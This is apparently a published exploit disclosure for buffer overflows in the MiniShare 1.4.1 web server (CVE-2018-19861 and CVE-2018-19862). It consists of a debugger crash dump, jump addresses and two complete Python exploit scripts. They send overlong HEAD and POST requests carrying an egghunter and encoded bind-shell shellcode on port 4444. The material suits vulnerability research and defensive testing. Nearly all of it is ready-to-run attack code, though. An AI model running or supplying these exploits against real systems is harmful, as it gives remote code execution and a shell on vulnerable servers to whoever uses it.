1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 |
Not only the GET method is vulnerable to BOF (CVE-2004-2271). HEAD and POST methods are also vulnerable. The difference is minimal, both are exploited in the same way. Only 1 byte difference: GET = 3, HEAD and POST = 4 length ------------------------------------------------------------------- EAX 00000000 ECX 77C3EF3B msvcrt.77C3EF3B EDX 00F14E38 EBX 43346843 ESP 01563908 ASCII "6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co HTTP/1.1 " EBP 0156BB90 ESI 00000001 EDI 01565B68 EIP 68433568 C 0ES 0023 32bit 0(FFFFFFFF) P 1CS 001B 32bit 0(FFFFFFFF) A 1SS 0023 32bit 0(FFFFFFFF) Z 0DS 0023 32bit 0(FFFFFFFF) S 0FS 003B 32bit 7FFDD000(FFF) T 0GS 0000 NULL D 0 O 0LastErr ERROR_SUCCESS (00000000) EFL 00010216 (NO,NB,NE,A,NS,PE,GE,G) ST0 empty ST1 empty ST2 empty ST3 empty ST4 empty ST5 empty ST6 empty ST7 empty 3 2 1 0E S P U O Z D I FST 0000Cond 0 0 0 0Err 0 0 0 0 0 0 0 0(GT) FCW 027FPrec NEAR,53Mask1 1 1 1 1 1 ------------------------------------------------------------------------------ Only 210 bytes to shellcode ------------------------------------------------------------------------------ Badchars '00','0d' ------------------------------------------------------------------------------ >findjmp kernel32.dll esp - XP SP 3 English Scanning kernel32.dll for code useable with the esp register 0x7C809F83call esp 0x7C8369E0call esp 0x7C83C2C5push esp - ret 0x7C87641Bcall esp <!-- # Exploit Title: Buffer overflow in MiniShare 1.4.1 HEAD method. # Date: 05-12-2018 # Exploit Author: Rafael Pedrero # Vendor Homepage: http://minishare.sourceforge.net/ # Software Link: http://minishare.sourceforge.net/ # Version: Minishare v1.4.1 # Tested on: Windows # CVE : CVE-2018-19861 # Category: exploit 1. Description Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP HEAD request. 2. Proof of Concept Exploit: #!/usr/bin/env python import socket import struct import os # Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP HEAD request - by Rafa # CVE: CVE-2018-19861 # Via Egghunter because shellcode in ESP only 210 bytes long. # Project Home Page (MiniShare) - http://minishare.sourceforge.net/ connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "127.0.0.1" port = 80 # 32 bytes Egghunter - Egg = r4f4 = \x72\x34\x66\x34 egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x72\x34\x66\x34\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" #msfvenom -a x86 --platform Windows -p windows/shell_bind_tcp LPORT=4444 -f python -a x86 --platform windows -b "\x00\x0d" -f c #Found 10 compatible encoders #Attempting to encode payload with 1 iterations of x86/shikata_ga_nai #x86/shikata_ga_nai succeeded with size 355 (iteration=0) #x86/shikata_ga_nai chosen with final size 355 #Payload size: 355 bytes #Final size of c file: 1516 bytes #unsigned char buf[] = shellcode=("r4f4r4f4"+"\xda\xd4\xb8\xda\xe7\x1b\xca\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" "\x53\x83\xea\xfc\x31\x42\x13\x03\x98\xf4\xf9\x3f\xe0\x13\x7f" "\xbf\x18\xe4\xe0\x49\xfd\xd5\x20\x2d\x76\x45\x91\x25\xda\x6a" "\x5a\x6b\xce\xf9\x2e\xa4\xe1\x4a\x84\x92\xcc\x4b\xb5\xe7\x4f" "\xc8\xc4\x3b\xaf\xf1\x06\x4e\xae\x36\x7a\xa3\xe2\xef\xf0\x16" "\x12\x9b\x4d\xab\x99\xd7\x40\xab\x7e\xaf\x63\x9a\xd1\xbb\x3d" "\x3c\xd0\x68\x36\x75\xca\x6d\x73\xcf\x61\x45\x0f\xce\xa3\x97" "\xf0\x7d\x8a\x17\x03\x7f\xcb\x90\xfc\x0a\x25\xe3\x81\x0c\xf2" "\x99\x5d\x98\xe0\x3a\x15\x3a\xcc\xbb\xfa\xdd\x87\xb0\xb7\xaa" "\xcf\xd4\x46\x7e\x64\xe0\xc3\x81\xaa\x60\x97\xa5\x6e\x28\x43" "\xc7\x37\x94\x22\xf8\x27\x77\x9a\x5c\x2c\x9a\xcf\xec\x6f\xf3" "\x3c\xdd\x8f\x03\x2b\x56\xfc\x31\xf4\xcc\x6a\x7a\x7d\xcb\x6d" "\x7d\x54\xab\xe1\x80\x57\xcc\x28\x47\x03\x9c\x42\x6e\x2c\x77" "\x92\x8f\xf9\xe2\x9a\x36\x52\x11\x67\x88\x02\x95\xc7\x61\x49" "\x1a\x38\x91\x72\xf0\x51\x3a\x8f\xfb\x4c\xe7\x06\x1d\x04\x07" "\x4f\xb5\xb0\xe5\xb4\x0e\x27\x15\x9f\x26\xcf\x5e\xc9\xf1\xf0" "\x5e\xdf\x55\x66\xd5\x0c\x62\x97\xea\x18\xc2\xc0\x7d\xd6\x83" "\xa3\x1c\xe7\x89\x53\xbc\x7a\x56\xa3\xcb\x66\xc1\xf4\x9c\x59" "\x18\x90\x30\xc3\xb2\x86\xc8\x95\xfd\x02\x17\x66\x03\x8b\xda" "\xd2\x27\x9b\x22\xda\x63\xcf\xfa\x8d\x3d\xb9\xbc\x67\x8c\x13" "\x17\xdb\x46\xf3\xee\x17\x59\x85\xee\x7d\x2f\x69\x5e\x28\x76" "\x96\x6f\xbc\x7e\xef\x8d\x5c\x80\x3a\x16\x6c\xcb\x66\x3f\xe5" "\x92\xf3\x7d\x68\x25\x2e\x41\x95\xa6\xda\x3a\x62\xb6\xaf\x3f" "\x2e\x70\x5c\x32\x3f\x15\x62\xe1\x40\x3c") # findjmp kernel32.dll esp - WinXP SP3 English #0x7C809F83call esp nops = "\x90" * 16 junk = "A" * 1786 + "\x83\x9f\x80\x7c" + nops + egghunter + "C" * (2000 - 1786 - 4 - 16 - len(egghunter)) try: print "Sending exploit..." connection.connect((host,port)) buffer = ( "HEAD " + junk + " HTTP/1.1\r\n" "Host: " + shellcode + "\r\n\r\n") connection.send(buffer) connection.close() print "\nExploit Sended ", len(buffer) except: print "Connection error" 3. Solution: This product is deprecated --> <!-- # Exploit Title: Buffer overflow in MiniShare 1.4.1 POST method. # Date: 05-12-2018 # Exploit Author: Rafael Pedrero # Vendor Homepage: http://minishare.sourceforge.net/ # Software Link: http://minishare.sourceforge.net/ # Version: Minishare v1.4.1 # Tested on: Windows # CVE : CVE-2018-19862 # Category: exploit 1. Description Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP POST request. 2. Proof of Concept Exploit: #!/usr/bin/env python import socket import struct import os # Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP POST request - by Rafa # CVE: CVE-2018-19862 # Via Egghunter because shellcode in ESP only 210 bytes long. # Project Home Page (MiniShare) - http://minishare.sourceforge.net/ connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "127.0.0.1" port = 80 # 32 bytes Egghunter - Egg = r4f4 = \x72\x34\x66\x34 egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x72\x34\x66\x34\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" #msfvenom -a x86 --platform Windows -p windows/shell_bind_tcp LPORT=4444 -f python -a x86 --platform windows -b "\x00\x0d" -f c #Found 10 compatible encoders #Attempting to encode payload with 1 iterations of x86/shikata_ga_nai #x86/shikata_ga_nai succeeded with size 355 (iteration=0) #x86/shikata_ga_nai chosen with final size 355 #Payload size: 355 bytes #Final size of c file: 1516 bytes #unsigned char buf[] = shellcode=("r4f4r4f4"+"\xda\xd4\xb8\xda\xe7\x1b\xca\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" "\x53\x83\xea\xfc\x31\x42\x13\x03\x98\xf4\xf9\x3f\xe0\x13\x7f" "\xbf\x18\xe4\xe0\x49\xfd\xd5\x20\x2d\x76\x45\x91\x25\xda\x6a" "\x5a\x6b\xce\xf9\x2e\xa4\xe1\x4a\x84\x92\xcc\x4b\xb5\xe7\x4f" "\xc8\xc4\x3b\xaf\xf1\x06\x4e\xae\x36\x7a\xa3\xe2\xef\xf0\x16" "\x12\x9b\x4d\xab\x99\xd7\x40\xab\x7e\xaf\x63\x9a\xd1\xbb\x3d" "\x3c\xd0\x68\x36\x75\xca\x6d\x73\xcf\x61\x45\x0f\xce\xa3\x97" "\xf0\x7d\x8a\x17\x03\x7f\xcb\x90\xfc\x0a\x25\xe3\x81\x0c\xf2" "\x99\x5d\x98\xe0\x3a\x15\x3a\xcc\xbb\xfa\xdd\x87\xb0\xb7\xaa" "\xcf\xd4\x46\x7e\x64\xe0\xc3\x81\xaa\x60\x97\xa5\x6e\x28\x43" "\xc7\x37\x94\x22\xf8\x27\x77\x9a\x5c\x2c\x9a\xcf\xec\x6f\xf3" "\x3c\xdd\x8f\x03\x2b\x56\xfc\x31\xf4\xcc\x6a\x7a\x7d\xcb\x6d" "\x7d\x54\xab\xe1\x80\x57\xcc\x28\x47\x03\x9c\x42\x6e\x2c\x77" "\x92\x8f\xf9\xe2\x9a\x36\x52\x11\x67\x88\x02\x95\xc7\x61\x49" "\x1a\x38\x91\x72\xf0\x51\x3a\x8f\xfb\x4c\xe7\x06\x1d\x04\x07" "\x4f\xb5\xb0\xe5\xb4\x0e\x27\x15\x9f\x26\xcf\x5e\xc9\xf1\xf0" "\x5e\xdf\x55\x66\xd5\x0c\x62\x97\xea\x18\xc2\xc0\x7d\xd6\x83" "\xa3\x1c\xe7\x89\x53\xbc\x7a\x56\xa3\xcb\x66\xc1\xf4\x9c\x59" "\x18\x90\x30\xc3\xb2\x86\xc8\x95\xfd\x02\x17\x66\x03\x8b\xda" "\xd2\x27\x9b\x22\xda\x63\xcf\xfa\x8d\x3d\xb9\xbc\x67\x8c\x13" "\x17\xdb\x46\xf3\xee\x17\x59\x85\xee\x7d\x2f\x69\x5e\x28\x76" "\x96\x6f\xbc\x7e\xef\x8d\x5c\x80\x3a\x16\x6c\xcb\x66\x3f\xe5" "\x92\xf3\x7d\x68\x25\x2e\x41\x95\xa6\xda\x3a\x62\xb6\xaf\x3f" "\x2e\x70\x5c\x32\x3f\x15\x62\xe1\x40\x3c") # findjmp kernel32.dll esp - WinXP SP3 English #0x7C809F83call esp nops = "\x90" * 16 junk = "A" * 1786 + "\x83\x9f\x80\x7c" + nops + egghunter + "C" * (2000 - 1786 - 4 - 16 - len(egghunter)) try: print "Sending exploit..." connection.connect((host,port)) buffer = ( "POST " + junk + " HTTP/1.1\r\n" "Host: " + shellcode + "\r\n\r\n") connection.send(buffer) connection.close() print "\nExploit Sended ", len(buffer) except: print "Connection error" 3. Solution: This product is deprecated --> |